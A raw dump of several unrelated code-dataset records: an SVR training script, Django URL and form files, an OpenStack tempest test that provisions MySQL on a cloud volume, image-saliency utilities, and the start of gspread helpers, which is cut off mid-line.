acc_score.append(acc)\n \n scores.append(acc_score)\n\nscore = pd.DataFrame(scores)\n\nscore.columns = col_names\n\nscores.to_csv('/home/cvssk/Carlisle/SVR_Outputs/svr_valid/18points_validation_acc.csv')\n\n\n#%%\ndef save_model(model, name):\n import pickle\n filename= name+'.sav'\n\n pickle.dump(model, open(filename, 'wb'))\n\ndef load_model(name):\n filename= name+'.sav'\n model =pickle.load(open(filename, 'rb'))\n\n return model\n\n\n#%%\nfrom sklearn.svm import SVR\n\npredicted = []\n\n##start time\nstart = timeit.default_timer()\n\nfor i in val_pts:\n y = Y.iloc[:,i]\n\n model = SVR(C=25.296038321648346, cache_size=512, coef0=0.0, degree=1,\n epsilon=0.031196144376997643, gamma=0.016161023499762946, kernel='rbf',\n max_iter=70067892.0, shrinking=False, tol=0.002590932184680306,\n verbose=False)\n\n model.fit(X_Train, y)\n\n name = '/home/cvssk/Carlisle/RapidCNN_Inun/Model' #change this location to save the trained models\n name = name+str(i)\n\n save_model(model,name)\n y_pred = model.predict(X_Test)\n\n predicted.append(y_pred)\n\nstop = timeit.default_timer()\n\nprint('Time: ', stop - start)\n\n#%%\ndf = pd.DataFrame(predicted).T\nloc_pts = [str(i) for i in val_pts]\ndf.columns = loc_pts\ndf[df<0] = 0\n\ndf.to_csv('/home/cvssk/Carlisle/RapidCNN_Inun//18points_prediction.csv')\n\n\n\n\n# %%\n","sub_path":"SVR.py","file_name":"SVR.py","file_ext":"py","file_size_in_byte":9763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"119505358","text":"from django.urls import path\n\nfrom foods.views import FoodListView, FoodDetailView, buy_now\n\napp_name = 'foods'\n\nurlpatterns = [\n path('', FoodListView.as_view(), name='food_list'),\n path('category//', FoodListView.as_view(), name='foods_list_by_category'),\n path('detail//', FoodDetailView.as_view(), name='food_detail'),\n path('buynow///',buy_now, name='buy_now'),\n]","sub_path":"foods/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"78968198","text":"# Copyright 2014\n# The Cloudscaling Group, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport tempest.cloudscaling.thirdparty.scenario.aws_compat.base as aws_base\nimport tempest.cloudscaling.utils as utils\nfrom tempest.lib.common.utils.linux import remote_client\nfrom tempest import test\nfrom tempest.thirdparty.boto.utils import wait as boto_wait\n\nimport logging\nlogging.getLogger('boto').setLevel(logging.CRITICAL)\nLOG = logging.getLogger(__name__)\n\n\nclass InstanceMySQLTest(aws_base.BaseAWSTest):\n \"\"\"\n Test 'Running MySQL on Amazon' (http://aws.amazon.com/articles/1663)\n \"\"\"\n @classmethod\n @test.safe_setup\n def setUpClass(cls):\n super(InstanceMySQLTest, cls).setUpClass()\n\n cfg = cls.config.cloudscaling\n image_name = cfg.mysql_image_name\n cls.ssh_user = cfg.mysql_ssh_user_name\n cls.volume_attach_name = \"sdh\"\n\n cls.image_id = cls._prepare_image_id(image_name)\n\n cls.keypair = cls._prepare_key_pair()\n sg = cls._prepare_security_group()\n cls.sec_group_name = sg.name\n\n def test_integration_mysql(self):\n \"\"\"Test based on http://aws.amazon.com/articles/1663\"\"\"\n\n snapshot = self._run_scenario(self._create_mysql_db)\n\n self._run_scenario(self._restore_mysql_db, snapshot=snapshot)\n\n def _run_scenario(self, scenario_func, snapshot=None):\n # NOTE(apavlov): ec2-run-instances --key KEYPAIR IMAGE\n reservation = self.ec2_client.run_instances(self.image_id,\n instance_type=self.instance_type,\n key_name=self.keypair.name,\n security_groups=(self.sec_group_name,))\n self.addResourceCleanUp(self.destroy_reservation, reservation)\n instance = reservation.instances[0]\n LOG.info(\"state: %s\", instance.state)\n # NOTE(apavlov): wait until it runs (ec2-describe-instances INSTANCE)\n if instance.state != \"running\":\n self.assertInstanceStateWait(instance, \"running\")\n\n # NOTE(apavlov): ec2-create-volume -z ZONE -s SIZE_GB\n zone = instance.placement\n volume = self.ec2_client.create_volume(1, zone, snapshot=snapshot)\n self.addResourceCleanUp(self.destroy_volume_wait, volume)\n # NOTE(apavlov): wait it (ec2-describe-volumes VOLUME)\n self.assertVolumeStatusWait(volume, \"available\")\n\n ip_address = self._prepare_public_ip(instance)\n ssh = remote_client.RemoteClient(ip_address,\n self.ssh_user,\n pkey=self.keypair.material)\n\n # NOTE(apavlov): ec2-attach-volume -d /dev/XXX -i INSTANCE VOLUME\n # and wait until it will be available\n part_lines = ssh.get_partitions().split('\\n')\n volume.attach(instance.id, \"/dev/\" + self.volume_attach_name)\n\n def _volume_state():\n volume.update(validate=True)\n return volume.status\n\n self.assertVolumeStatusWait(_volume_state, \"in-use\")\n boto_wait.re_search_wait(_volume_state, \"in-use\")\n\n def _part_state():\n current = ssh.get_partitions().split('\\n')\n if len(current) > len(part_lines):\n return 1\n if len(current) < len(part_lines):\n return -1\n return 0\n\n boto_wait.state_wait(_part_state, 1)\n part_lines_new = ssh.get_partitions().split('\\n')\n self.volume_name = utils.detect_new_volume(part_lines, part_lines_new)\n part_lines = part_lines_new\n\n self._correct_ns_if_needed(ssh)\n\n snapshot = scenario_func(ssh, volume.id)\n\n # NOTE(apavlov): stop this instance(imagine that it will be used)\n instance.stop()\n LOG.info(\"state: %s\", instance.state)\n if instance.state != \"stopped\":\n self.assertInstanceStateWait(instance, \"stopped\")\n\n return snapshot\n\n def _create_mysql_db(self, ssh, volume_id):\n ssh.exec_command(\"sudo apt-get update && sudo apt-get upgrade -fy\")\n\n # install mysql\n ssh.exec_command(\"echo mysql-server-5.1 mysql-server/\"\n \"root_password password rootpass | sudo debconf-set-selections\"\n \"&& echo mysql-server-5.1 mysql-server/\"\n \"root_password_again password rootpass \"\n \"| sudo debconf-set-selections\"\n \"&& echo mysql-server-5.1 mysql-server/\"\n \"start_on_boot boolean true | sudo debconf-set-selections\")\n ssh.exec_command(\"sudo apt-get install -y xfsprogs mysql-server\")\n\n ssh.exec_command(\"grep -q xfs /proc/filesystems || sudo modprobe xfs\")\n ssh.exec_command(\"sudo mkfs.xfs /dev/\" + self.volume_name)\n ssh.exec_command(\"echo '/dev/\" + self.volume_name\n + \" /vol xfs noatime 0 0' \"\n \"| sudo tee -a /etc/fstab\")\n ssh.exec_command(\"sudo mkdir -m 000 /vol && sudo mount /vol\")\n\n # NOTE(apavlov): Move the existing database files to the EBS volume.\n ssh.exec_command(\"sudo /etc/init.d/mysql stop\"\n \"&& sudo mkdir /vol/etc /vol/lib /vol/log\"\n \"&& sudo mv /etc/mysql /vol/etc/\"\n \"&& sudo mv /var/lib/mysql /vol/lib/\"\n \"&& sudo mv /var/log/mysql /vol/log/\")\n\n ssh.exec_command(\"sudo mkdir /etc/mysql\"\n \"&& sudo mkdir /var/lib/mysql\"\n \"&& sudo mkdir /var/log/mysql\")\n\n ssh.exec_command(\"echo '/vol/etc/mysql /etc/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\"\n \"&& sudo mount /etc/mysql\")\n\n ssh.exec_command(\"echo '/vol/lib/mysql /var/lib/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\"\n \"&& sudo mount /var/lib/mysql\")\n\n ssh.exec_command(\"echo '/vol/log/mysql /var/log/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\"\n \"&& sudo mount /var/log/mysql\")\n ssh.exec_command(\"sudo /etc/init.d/mysql start\")\n\n # NOTE(apavlov): add test DB\n ssh.exec_command(\"mysql -u root --password=rootpass -e \"\n \"'CREATE DATABASE tutorial_sample'\")\n\n resp = ssh.exec_command(\"mysql -u root --password=rootpass \"\n \"-e 'SHOW DATABASES'\")\n self.assertIn(\"tutorial_sample\", resp)\n\n # NOTE(apavlov): make snapshot\n ssh.exec_command(\"mysql -u root --password=rootpass -e '\"\n \"FLUSH TABLES WITH READ LOCK;\"\n \"SHOW MASTER STATUS;\"\n \"SYSTEM sudo xfs_freeze -f /vol;'\")\n\n snapshot = self.ec2_client.create_snapshot(volume_id)\n self.addResourceCleanUp(self.destroy_snapshot_wait, snapshot)\n self.assertSnapshotStatusWait(snapshot, \"completed\")\n\n ssh.exec_command(\"mysql -u root --password=rootpass -e '\"\n \"SYSTEM sudo xfs_freeze -u /vol;\"\n \"UNLOCK TABLES;'\")\n\n # NOTE(apavlov): cleanup\n ssh.exec_command(\"sudo /etc/init.d/mysql stop\"\n \"&& sudo umount /etc/mysql /var/lib/mysql /var/log/mysql /vol\")\n\n return snapshot\n\n def _restore_mysql_db(self, ssh, volume_id):\n ssh.exec_command(\"sudo apt-get update\")\n ssh.exec_command(\"sudo apt-get upgrade -y\")\n\n # install mysql\n ssh.exec_command(\"export DEBIAN_FRONTEND=noninteractive\")\n ssh.exec_command(\"sudo -E apt-get install -y xfsprogs mysql-server\")\n\n ssh.exec_command(\"echo '/dev/\" + self.volume_name\n + \" /vol xfs noatime 0 0' \"\n \"| sudo tee -a /etc/fstab\")\n ssh.exec_command(\"sudo mkdir -m 000 /vol\")\n ssh.exec_command(\"sudo mount /vol\")\n\n ssh.exec_command(\"sudo find /vol/{lib,log}/mysql/ ! -user root -print0\"\n \" | sudo xargs -0 -r chown mysql\")\n ssh.exec_command(\"sudo find /vol/{lib,log}/mysql/ ! -group root -a !\"\n \" -group adm -print0 | sudo xargs -0 -r chgrp mysql\")\n ssh.exec_command(\"sudo /etc/init.d/mysql stop\")\n ssh.exec_command(\"echo '/vol/etc/mysql /etc/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\")\n ssh.exec_command(\"sudo mount /etc/mysql\")\n ssh.exec_command(\"echo '/vol/lib/mysql /var/lib/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\")\n ssh.exec_command(\"sudo mount /var/lib/mysql\")\n ssh.exec_command(\"echo '/vol/log/mysql /var/log/mysql none bind' \"\n \"| sudo tee -a /etc/fstab\")\n ssh.exec_command(\"sudo mount /var/log/mysql\")\n ssh.exec_command(\"sudo /etc/init.d/mysql start\")\n\n resp = ssh.exec_command(\"mysql -u root --password=rootpass \"\n \"-e 'SHOW DATABASES'\")\n self.assertIn(\"tutorial_sample\", resp)\n\n # NOTE(apavlov): cleanup\n ssh.exec_command(\"sudo /etc/init.d/mysql stop\"\n \"&& sudo umount /etc/mysql /var/lib/mysql /var/log/mysql /vol\")\n\n return None\n","sub_path":"ec2api_tempest_plugin/obsolete/thirdparty/scenario/aws_compat/test_ec2_instance_mysql.py","file_name":"test_ec2_instance_mysql.py","file_ext":"py","file_size_in_byte":9364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"153812671","text":"\r\nfrom .models import *\r\nfrom django import forms\r\nfrom django.db import models\r\nfrom rasberrypy.models import Product\r\n\r\nfrom .models import UserToken\r\n\r\n\r\nclass CreateToken(forms.ModelForm):\r\n class Meta:\r\n model =UserToken\r\n fields = (\"token\",)\r\n\r\n def clean_token(self):\r\n data = self.cleaned_data[\"token\"]\r\n return data\r\n\r\n\r\n\r\nclass ProductionConfigure(forms.ModelForm):\r\n timeConfigure = forms.IntegerField()\r\n mode = forms.BooleanField()\r\n timeConfigure.widget.attrs.update({'class' : 'form-control'})\r\n class Meta:\r\n model = Product\r\n fields= (\"timeConfigure\",\"mode\")\r\n def clean_timeConfigure(self):\r\n data = self.cleaned_data[\"timeConfigure\"]\r\n return data\r\n\r\n def clean_mode(self):\r\n data = self.cleaned_data[\"mode\"]\r\n return data\r\n\r\n\r\n","sub_path":"parent/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"61158501","text":"import cv2\nimport os\nimport numpy as np\nimport pySaliencyMap\nfrom matplotlib import pyplot as plt\nimport pandas as pd\nfrom PIL import Image\nfrom skimage.measure import compare_nrmse, compare_psnr\nfrom sklearn.metrics import mean_squared_error\n\n\ndef pil2cv(image):\n ''' PIL型 -> OpenCV型 '''\n new_image = np.array(image, dtype=np.uint8)\n if new_image.ndim == 2: # モノクロ\n pass\n elif new_image.shape[2] == 3: # カラー\n new_image = cv2.cvtColor(new_image, cv2.COLOR_RGB2BGR)\n elif new_image.shape[2] == 4: # 透過\n new_image = cv2.cvtColor(new_image, cv2.COLOR_RGBA2BGRA)\n return new_image\n\n\ndef cv2pil(image_cv):\n image_cv = cv2.cvtColor(image_cv, cv2.COLOR_BGR2RGB)\n image_pil = Image.fromarray(image_cv)\n image_pil = image_pil.convert('RGB')\n\n return image_pil\n\n\ndef get_surf_point(img):\n # 特徴抽出機の生成\n detector = cv2.xfeatures2d.SIFT_create()\n # kpは特徴的な点の位置 destは特徴を現すベクトル\n kp1, des1 = detector.detectAndCompute(img, None)\n return kp1, des1\n\n\ndef get_akaze_point(img):\n # 特徴抽出機の生成\n detector = cv2.AKAZE_create()\n # kpは特徴的な点の位置 destは特徴を現すベクトル\n kp1, des1 = detector.detectAndCompute(img, None)\n return kp1, des1\n\n\ndef draw_surfpoints(img):\n kp, des = get_surf_point(img)\n img2 = cv2.drawKeypoints(img, kp, None, (255, 0, 0), 4)\n return img2\n\n\ndef draw_akazepoints(img):\n kp, des = get_akaze_point(img)\n img2 = cv2.drawKeypoints(img, kp, None, (255, 0, 0), 4)\n return img2\n\n\ndef get_RARE_map(img):\n #RGB to YCbCr\n ycrcb = cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb)\n y = ycrcb[:, :, 0]\n cr = ycrcb[:, :, 1]\n cb = ycrcb[:, :, 2]\n\n # Gabor Filtering\n gaborConf = cv2.getGaborKernel((100, 100), 16.0, np.radians(0), 10, 0.5, 0)\n y_gabor = cv2.filter2D(y, -1, gaborConf)\n cr_gabor = cv2.filter2D(cr, -1, gaborConf)\n cb_gabor = cv2.filter2D(cb, -1, gaborConf)\n print('test')\n\n\ndef get_FineGrained(img):\n saliency = cv2.saliency.StaticSaliencyFineGrained_create()\n (success, saliencyMap) = saliency.computeSaliency(img)\n # versionによって255倍する必要あり\n return (saliencyMap * 255.0).astype(np.uint8)\n\n\ndef get_spectralresidual(img):\n saliency = cv2.saliency.StaticSaliencyFineGrained_create()\n (success, saliencyMap) = saliency.computeSaliency(img)\n # versionによって255倍する必要あり\n return (saliencyMap * 1.0).astype(np.uint8)\n\n\ndef get_saliency_map(img):\n sm = pySaliencyMap.pySaliencyMap(img.shape[1], img.shape[0])\n # computation\n saliency_map = sm.SMGetSM(img)\n return saliency_map\n\n\ndef bmp2jpg():\n DIR = 'sumple_img'\n SAVE = 'sumple_jpg'\n imgs = os.listdir(DIR)\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n img = cv2.imread(path)\n save_path = os.path.join(SAVE, img_path.replace('bmp', 'jpg'))\n cv2.imwrite(save_path, img)\n print('save {}'.format(save_path))\n\n\ndef get_saliency_hist(img, sm='FineGrained'):\n if sm == 'FineGrained':\n saliency_map = get_FineGrained(img)\n else:\n saliency_map = get_spectralresidual(img)\n liner_sm = np.reshape(saliency_map, newshape=(img.shape[0] * img.shape[1]))\n hist, bins = np.histogram(liner_sm, bins=np.arange(0, 256, 1))\n return hist, bins, saliency_map\n\n\ndef compare_labmse(img1, img2):\n img1_lab = cv2.cvtColor(img1, cv2.COLOR_BGR2Lab)\n img2_lab = cv2.cvtColor(img2, cv2.COLOR_BGR2Lab)\n\n return compare_nrmse(img1_lab, img2_lab)\n\n\ndef get_saliency_upper_th(img, R, sm='FineGrained'):\n hist, bins, sm = get_saliency_hist(img, sm=sm)\n th = int(R * np.sum(hist))\n count = 0\n extract = []\n extract_partition = []\n zeros = np.zeros(shape=img.shape)\n min_sm = 255\n for num, bin in zip(hist[::-1], bins[::-1]):\n indices = np.where(sm == int(bin))\n pixels = img[indices]\n zeros[indices] = img[indices]\n extract_partition.append(pixels)\n extract.extend(pixels)\n\n count += num\n if count >= th:\n min_sm = bin\n break\n return np.array(extract), np.array(extract_partition), zeros, min_sm\n\n\ndef get_saliency_lower_th(img, R, sm='FineGrained'):\n hist, bins, sm = get_saliency_hist(img, sm=sm)\n th = int(R * np.sum(hist))\n count = 0\n extract = []\n extract_partition = []\n zeros = np.zeros(shape=img.shape)\n for num, bin in zip(hist[::1], bins[::1]):\n indices = np.where(sm == int(bin))\n pixels = img[indices]\n zeros[indices] = img[indices]\n extract_partition.append(pixels)\n extract.extend(pixels)\n\n count += num\n if count >= th:\n break\n return np.array(extract), np.array(extract_partition), zeros\n\n\ndef mapping_pallet_to_img(img, pallete):\n dists = np.empty(shape=(img.shape[0], img.shape[1], len(pallete)))\n for num, pal in enumerate(pallete):\n dist = np.linalg.norm(img - pal, axis=2)\n dists[:, :, num] = dist\n\n pal = np.argmin(dists, axis=2)\n mapped_img = pallete[pal].astype(np.uint8)\n mapped_img = np.reshape(mapped_img, newshape=(img.shape[0], img.shape[1], 3))\n\n return mapped_img\n\n\n\ndef find_closest_color(pix, source):\n tile = np.tile(pix, len(source)).reshape(source.shape)\n dist = np.linalg.norm(tile - source, axis=2)\n index = np.argmin(dist)\n return source[index]\n\n\n\ndef FloydSteinbergDithering(img, palette):\n height, width = img.shape[0], img.shape[1]\n org = img.copy()\n for y in range(height):\n for x in range(width):\n closest = find_closest_color(org[y, x], palette)\n org[y, x] = closest\n q_err = org[y, x] - closest\n\n if x < width - 1:\n org[y, x + 1] = org[y, x + 1] + (7.0 * q_err) / 16\n if y < height - 1:\n org[y + 1, x] = org[y + 1, x] + (5.0 * q_err) / 16\n if x > 0:\n org[y + 1, x - 1] = org[y + 1, x - 1] + (3.0 * q_err) / 16\n if x < width - 1:\n org[y + 1, x + 1] = org[y + 1, x + 1] + q_err / 16.0\n return org\n\n\ndef make_colormap(colors, color_width=64):\n width_n_colors = int(np.sqrt(len(colors)) + 0.5)\n map_width = width_n_colors * color_width\n\n # カラーマップの生成\n color_map = np.zeros(shape=(map_width, map_width, 3))\n i, j = 0, 0\n for color in colors:\n x = int(i * color_width)\n y = int(j * color_width)\n color_map[y: y + color_width, x: x + color_width] = color\n\n if i >= map_width / color_width - 1:\n i = 0\n j += 1\n else:\n i += 1\n\n return color_map\n\n\ndef get_importancemap(img):\n # lin_img = np.reshape(img, newshape=(img.shape[0] * img.shape[1], 1, 3))\n lab_img = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\n hist, bins, sm = get_saliency_hist(lab_img, sm='SR')\n\n sum_imp_mat = np.zeros(shape=(img.shape[0], img.shape[1]))\n mean_imp_mat = np.zeros(shape=(img.shape[0], img.shape[1]))\n max_imp_mat = np.zeros(shape=(img.shape[0], img.shape[1]))\n all_colors = get_allcolors_from_img(img)\n # tmp = np.where(np.all(all_colors[0] == img, axis=2))\n # pix = img[tmp]\n colors_sv_array = [sm[np.where(np.all(color == img, axis=2))] for color in all_colors]\n sum_importance = np.array([np.sum(sm_array) for sm_array in colors_sv_array])\n mean_importance = np.array([np.mean(sm_array) for sm_array in colors_sv_array])\n max_importance = np.array([np.max(sm_array) for sm_array in colors_sv_array])\n\n for n, color in enumerate(all_colors):\n index = np.where(np.all(color == img, axis=2))\n sum_imp_mat[index[:2]] = sum_importance[n]\n mean_imp_mat[index[:2]] = mean_importance[n]\n max_imp_mat[index[:2]] = max_importance[n]\n\n return sum_imp_mat, mean_imp_mat, max_imp_mat\n\n\ndef get_allcolors_from_img(img):\n flattened_img = np.reshape(img, newshape=(img.shape[0] * img.shape[1], 1, 3)).astype(np.uint8)\n # flattened_img[1] = flattened_img[0]\n uniq_S = np.unique(flattened_img, axis=0)\n return uniq_S\n\n\ndef get_numcolors(img):\n if len(img.shape) > 2:\n img = np.reshape(img, newshape=(img.shape[0] * img.shape[1], img.shape[2]))\n df = pd.DataFrame(img)\n return len(df.drop_duplicates().values)\n\n\ndef test_saliency_map():\n DIR = 'sumple_img'\n SAVE = 'SM_map_spectralresidual_LAB'\n imgs = os.listdir(DIR)\n R = np.arange(1.0, 0, -0.1)\n PART = 8\n plt.rcParams[\"font.size\"] = 14\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n org_img = cv2.imread(path)\n img = org_img.copy()\n img = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\n root, ext = os.path.splitext(img_path)\n img_dir = os.path.join(SAVE, root)\n\n if not os.path.isdir(img_dir):\n os.mkdir(img_dir)\n # saliency mapの保存\n saliency_map = get_spectralresidual(img)\n liner_sm = np.reshape(saliency_map, newshape=(img.shape[0] * img.shape[1]))\n save_path = os.path.join(img_dir, f'Smap_{root}{ext}')\n cv2.imwrite(save_path, (saliency_map * 1).astype(np.uint8))\n print('save saliency map as img {}'.format(save_path))\n\n for n in range(len(R)):\n # histgramの上位R%に属する画素のみ表示\n pickup_sm = np.zeros(shape=img.shape)\n hist, bins = np.histogram(liner_sm, bins=np.arange(0, 256, 1))\n save_pickup = os.path.join(img_dir, 'pickup_upper{:.2}'.format(R[n]) + img_path)\n th = int(R[n] * len(liner_sm))\n assert len(liner_sm) == np.sum(hist), \"liner_sum: {}, hist: {}\".format(len(liner_sm), np.sum(hist))\n count = 0\n for num, bin in zip(hist[::-1], bins[::-1]):\n indices = np.where(saliency_map == int(bin))\n pickup_sm[indices] = org_img[indices]\n\n count += num\n if count >= th:\n break\n cv2.imwrite(save_pickup, pickup_sm)\n print('extract saliency map of img {} by use of {}'.format(save_pickup, img_dir))\n\n for n in range(len(R)):\n # histgramの上位R%に属する画素のみ表示\n pickup_sm = np.zeros(shape=img.shape)\n hist, bins = np.histogram(liner_sm, bins=np.arange(0, 256, 1))\n save_pickup = os.path.join(img_dir, 'pickup_lower{:.2}'.format(R[n]) + img_path)\n th = int(R[n] * len(liner_sm))\n assert len(liner_sm) == np.sum(hist), \"liner_sum: {}, hist: {}\".format(len(liner_sm), np.sum(hist))\n count = 0\n for num, bin in zip(hist[::1], bins[::1]):\n indices = np.where(saliency_map == int(bin))\n pickup_sm[indices] = org_img[indices]\n\n count += num\n if count >= th:\n break\n cv2.imwrite(save_pickup, pickup_sm)\n print('extract saliency map of img {} by use of {}'.format(save_pickup, img_dir))\n\n # histgramの保存\n liner_sm = np.reshape(saliency_map, newshape=(img.shape[0] * img.shape[1]))\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.hist(liner_sm, bins=256)\n ax.set_title('{} saliency map'.format(img_path))\n ax.set_xlabel('saliency')\n ax.set_ylabel('# of pixels')\n save_fig = os.path.join(img_dir, 'SM_' + img_path.replace(ext, '.jpg'))\n plt.tight_layout()\n plt.savefig(save_fig)\n print('save histogram as img {}'.format(save_fig))\n\n # histgramのbinsをPARTずつ区切ってそれぞれの画素を表示\n for bin in range(0, 256, PART):\n pickup_sm = np.zeros(shape=img.shape)\n save_pickup = os.path.join(img_dir, 'pickup_bin{}-bin{}'.format(bin, bin + PART) + img_path)\n for n in range(bin, bin + PART):\n indices = np.where(saliency_map == int(n))\n pickup_sm[indices] = org_img[indices]\n cv2.imwrite(save_pickup, pickup_sm)\n print('save fig {}'.format(save_pickup))\n\n\ndef test_importance_map():\n DIR = 'sumple_img'\n SAVE = 'Importance_Map'\n imgs = os.listdir(DIR)\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n org_img = cv2.imread(path)\n img = org_img.copy()\n img = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\n root, ext = os.path.splitext(img_path)\n img_dir = os.path.join(SAVE, root)\n\n if not os.path.isdir(img_dir):\n os.mkdir(img_dir)\n # importance mapの保存\n importance_map = get_importancemap(img)\n save_path = os.path.join(img_dir, f'{root}.csv')\n df = pd.DataFrame(importance_map)\n df.to_csv(save_path)\n print('save Importance_Map map as img {}'.format(save_path))\n\n\ndef get_all_preimportance_map():\n DIR = 'ProposalSvSumWeight_m32_sumple_img_lim1000_LAB_sum'\n SAVE = 'Importance_Map'\n imgs = os.listdir(DIR)\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n org_img = cv2.imread(f'{path}/pre_mapped.jpg')\n img = org_img.copy()\n img = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\n root, ext = os.path.splitext(img_path)\n img_dir = os.path.join(SAVE, root)\n\n if not os.path.isdir(img_dir):\n os.mkdir(img_dir)\n # importance mapの保存\n sum_imp, mean_imp, max_imp = get_importancemap(img)\n labels = ['sum_imp', 'mean_imp', 'max_imp']\n for imp_mat, label in zip([sum_imp, mean_imp, max_imp], labels):\n save_path = os.path.join(img_dir, f'premapped_{label}_importance.csv')\n df = pd.DataFrame(imp_mat)\n df.to_csv(save_path)\n print('save Importance_Map map as img {}'.format(save_path))\n\n\ndef test_sum_saluency():\n DIR = 'sumple_img'\n SAVE = 'SM_map'\n imgs = os.listdir(DIR)\n R = 0.25\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n img = cv2.imread(path)\n\n # saliency mapの保存\n saliency_map = get_spectralresidual(img)\n\n # 各色のヒストグラム\n pix_vec = get_saliency_upper_th(img, R)\n\n hist = np.zeros(shape=(256, 256, 256))\n for pix in pix_vec:\n hist[pix] += 1\n print(hist)\n\n # pix_vec = np.reshape(img, newshape=(img.shape[0] * img.shape[1], 3))\n colors = pd.DataFrame(pix_vec)\n count = colors.duplicated().value_counts()\n for color in colors:\n hist[color] = len(np.where(pix_vec == color))\n print('test')\n\n\ndef test_smextraction():\n DIR = 'sumple_img'\n SAVE = 'SM_map'\n imgs = os.listdir(DIR)\n SELECT = 2048 * 2\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n img = cv2.imread(path)\n extract, _ = get_saliency_upper_th(img, 1)\n extract = pd.DataFrame(extract)\n # 顕著度TOP256色を表示\n top = extract[:SELECT]\n color_map = make_colormap(top, width=SELECT * 4)\n save_path = os.path.join(SAVE, 'TOP{}_'.format(SELECT) + img_path)\n cv2.imwrite(save_path, color_map)\n print('save {}'.format(save_path))\n\n\ndef test_sm_variance():\n DIR = 'sumple_img'\n SAVE = 'SM_map_spectralresidual'\n imgs = os.listdir(DIR)\n PARTITION = 1\n\n if not os.path.isdir(SAVE):\n os.mkdir(SAVE)\n\n for num, img_path in enumerate(imgs):\n path = os.path.join(DIR, img_path)\n img = cv2.imread(path)\n # img = cv2.cvtColor(img, cv2.COLOR_BGR2Lab)\n hist, bins, sm = get_saliency_hist(img)\n root, ext = os.path.splitext(img_path)\n img_dir = os.path.join(SAVE, root)\n\n if not os.path.isdir(img_dir):\n os.mkdir(img_dir)\n\n vars = []\n xlabel = []\n for bin in bins[::-PARTITION]:\n parted_extract = []\n for n in range(PARTITION):\n indices = np.where(sm == int(n + bin))\n pixels = img[indices]\n parted_extract.extend(pixels)\n\n parted_extract = np.array(parted_extract)\n var = parted_extract.var()\n vars.append(var)\n xlabel.append(bin)\n\n # histgramの保存\n vars = np.array(vars)\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.bar(xlabel, vars)\n ax.set_title('{} saliency variance(spectralresidual)'.format(img_path))\n ax.set_xlabel('saliency')\n ax.set_ylabel('variance')\n\n save_fig = os.path.join(img_dir, 'Var_hist_' + img_path.replace(ext, 'png'))\n plt.savefig(save_fig)\n\n print('save {}'.format(save_fig))\n\n\nif __name__ == '__main__':\n # bmp2jpg()\n # test_sum_saluency()\n # test_smextraction()\n # test_importance_map()\n # get_all_preimportance_map()\n # test_importance_map()\n test_saliency_map()\n # test_sm_variance()\n","sub_path":"img_util.py","file_name":"img_util.py","file_ext":"py","file_size_in_byte":17312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"488162716","text":"# internal imports\nfrom typing import Dict, Optional, List\n\n# external imports\nimport asyncio\nimport gspread\nimport gspread_asyncio\nfrom google.oauth2.service_account import Credentials\n\n\ndef get_creds(filename=gspread.auth.DEFAULT_SERVICE_ACCOUNT_FILENAME, scopes=gspread.auth.DEFAULT_SCOPES):\n \"\"\"Retrieve gsheets api credentials.\n\n Uses gspread's default location/scopes by default.\n \"\"\"\n creds = Credentials.from_service_account_file(\n filename, scopes=scopes\n )\n return creds\n\n\ndef a1_from_list(row, col, data):\n return f'{gspread.utils.rowcol_to_a1(row, col)}:{gspread.utils.rowcol_to_a1(row, col + len(data))}'\n\n\nasync def get_worksheet(sheet_name, worksheet_name):\n agcm = gspread_asyncio.AsyncioGspreadClientManager(get_creds)\n agc = await agcm.authorize()\n sh = await agc.open(sheet_name)\n if worksheet_name is None:\n return await sh.get_worksheet(0)\n return await sh.worksheet(worksheet_name)\n\n\nasync def add_new_row(sheet, data):\n await sheet.append_row(data)\n\n\nasync def update_row(sheet, row, col, data):\n a1 = a1_from_list(row, col, data)\n data = [[d for d in data]]\n await sheet.batch_update([{'range': a1, 'values': data}])\n\n\nasync def clear_worksheet(sheet_name, worksheet_name):\n ws = await get_worksheet(sheet_name, worksheet_name)\n await ws.clear()\n\n\nasync def init_metrics(sheet_name: str, exp_name: str, metric_keys: 